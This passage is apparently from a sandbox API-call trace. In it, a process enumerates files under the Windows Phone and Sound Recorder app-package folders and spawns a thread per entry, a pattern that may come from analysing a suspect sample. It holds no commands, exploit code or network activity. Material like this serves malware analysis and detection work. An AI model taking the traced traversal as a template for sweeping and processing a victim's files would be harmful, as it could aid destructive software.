	[0090.057] wcscpy (in: _Dest=0x50273a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe"
	[0090.057] wcscat (in: _Dest=0x50273a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.057] wcscat (in: _Dest=0x50273a8, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.057] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x50273a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21fc
	[0090.058] FindNextFileW (in: hFindFile=0x46a7998, lpFindFileData=0x502c948 | out: lpFindFileData=0x502c948*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7c923e77, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xb3c57d4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7c923e77, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0090.058] FindClose (in: hFindFile=0x46a7998 | out: hFindFile=0x46a7998) returned 1
	[0090.059] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502c948) returned 1
	[0090.059] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476f998) returned 1
	[0090.059] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a4a8) returned 1

Thread:
	id = 1044
	os_tid = 0x1cc0

	[0082.699] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4924fa0
	[0082.699] wcscpy (in: _Dest=0x4924fa0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe"
	[0082.699] wcscat (in: _Dest=0x4924fa0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\"
	[0082.699] wcscat (in: _Dest=0x4924fa0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\*"
	[0082.699] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502cbb0
	[0082.699] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542e769c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xffa513a7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xffa513a7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a79d8
	[0082.700] wcscmp (_String1=".", _String2=".") returned 0
	[0082.700] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542e769c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xffa513a7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xffa513a7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.700] wcscmp (_String1="..", _String2=".") returned 1
	[0082.700] wcscmp (_String1="..", _String2="..") returned 0
	[0082.700] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542e769c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5430d8f5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5430d8f5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6a9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.700] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.700] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.701] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47227a8
	[0082.701] wcscpy (in: _Dest=0x47227a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe"
	[0082.701] wcscat (in: _Dest=0x47227a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\"
	[0082.701] wcscat (in: _Dest=0x47227a8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47227a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x164c
	[0090.043] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542e769c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x542e769c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x542e769c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.043] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.043] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e33d88
	[0090.044] wcscpy (in: _Dest=0x4e33d88, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe"
	[0090.044] wcscat (in: _Dest=0x4e33d88, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\"
	[0090.044] wcscat (in: _Dest=0x4e33d88, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e33d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21cc
	[0090.044] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54333b4e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3cb474b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x54333b4e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.044] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.044] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.045] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477ed50
	[0090.045] wcscpy (in: _Dest=0x477ed50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe"
	[0090.045] wcscat (in: _Dest=0x477ed50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\"
	[0090.045] wcscat (in: _Dest=0x477ed50, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477ed50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21d0
	[0090.045] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54333b4e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x54333b4e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x54333b4e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.045] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.045] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.045] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4722890
	[0090.045] wcscpy (in: _Dest=0x4722890, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe"
	[0090.045] wcscat (in: _Dest=0x4722890, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\"
	[0090.046] wcscat (in: _Dest=0x4722890, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4722890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21d4
	[0090.046] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54333b4e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3cb4e9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x546fe097, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.046] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.046] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.046] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4719460
	[0090.046] wcscpy (in: _Dest=0x4719460, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe"
	[0090.046] wcscat (in: _Dest=0x4719460, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\"
	[0090.046] wcscat (in: _Dest=0x4719460, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4719460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21d8
	[0090.047] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x546fe097, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x547242f5, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x547242f5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BackgroundAudio.dll", cAlternateFileName="")) returned 1
	[0090.047] wcscmp (_String1="BackgroundAudio.dll", _String2=".") returned 1
	[0090.047] wcscmp (_String1="BackgroundAudio.dll", _String2="..") returned 1
	[0090.047] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x547242f5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5474a553, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5474a553, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BackgroundAudio.winmd", cAlternateFileName="")) returned 1
	[0090.047] wcscmp (_String1="BackgroundAudio.winmd", _String2=".") returned 1
	[0090.047] wcscmp (_String1="BackgroundAudio.winmd", _String2="..") returned 1
	[0090.047] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x2e3ba20
	[0090.047] wcscpy (in: _Dest=0x2e3ba20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe"
	[0090.047] wcscat (in: _Dest=0x2e3ba20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\"
	[0090.047] wcscat (in: _Dest=0x2e3ba20, _Source="BackgroundAudio.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\BackgroundAudio.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\BackgroundAudio.winmd"
	[0090.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e3ba20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21dc
	[0090.048] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5474a553, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x547bcc5f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x547bcc5f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x197800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inbox.Shared.dll", cAlternateFileName="")) returned 1
	[0090.048] wcscmp (_String1="Inbox.Shared.dll", _String2=".") returned 1
	[0090.048] wcscmp (_String1="Inbox.Shared.dll", _String2="..") returned 1
	[0090.048] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x547bcc5f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x547e2ebc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x547e2ebc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x10600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inbox.Shared.winmd", cAlternateFileName="")) returned 1
	[0090.048] wcscmp (_String1="Inbox.Shared.winmd", _String2=".") returned 1
	[0090.048] wcscmp (_String1="Inbox.Shared.winmd", _String2="..") returned 1
	[0090.048] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4722c30
	[0090.048] wcscpy (in: _Dest=0x4722c30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe"
	[0090.048] wcscat (in: _Dest=0x4722c30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\"
	[0090.048] wcscat (in: _Dest=0x4722c30, _Source="Inbox.Shared.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\Inbox.Shared.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\Inbox.Shared.winmd"
	[0090.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4722c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21e0
	[0090.049] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x547e2ebc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x547e2ebc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x547e2ebc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inbox.winmd", cAlternateFileName="")) returned 1
	[0090.049] wcscmp (_String1="Inbox.winmd", _String2=".") returned 1
	[0090.049] wcscmp (_String1="Inbox.winmd", _String2="..") returned 1
	[0090.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477e1f0
	[0090.049] wcscpy (in: _Dest=0x477e1f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe"
	[0090.049] wcscat (in: _Dest=0x477e1f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\"
	[0090.049] wcscat (in: _Dest=0x477e1f0, _Source="Inbox.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\Inbox.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\Inbox.winmd"
	[0090.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477e1f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21e4
	[0090.050] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x547e2ebc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x54809116, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x54809116, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.People.Controls.winmd", cAlternateFileName="")) returned 1
	[0090.050] wcscmp (_String1="Microsoft.People.Controls.winmd", _String2=".") returned 1
	[0090.050] wcscmp (_String1="Microsoft.People.Controls.winmd", _String2="..") returned 1
	[0090.050] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x5026e80
	[0090.050] wcscpy (in: _Dest=0x5026e80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe"
	[0090.050] wcscat (in: _Dest=0x5026e80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\"
	[0090.050] wcscat (in: _Dest=0x5026e80, _Source="Microsoft.People.Controls.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd"
	[0090.050] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x5026e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21e8
	[0090.051] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xffa513a7, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xffa513a7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xffa513a7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.051] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.051] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.051] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5026f88
	[0090.051] wcscpy (in: _Dest=0x5026f88, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe"
	[0090.051] wcscat (in: _Dest=0x5026f88, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\\"
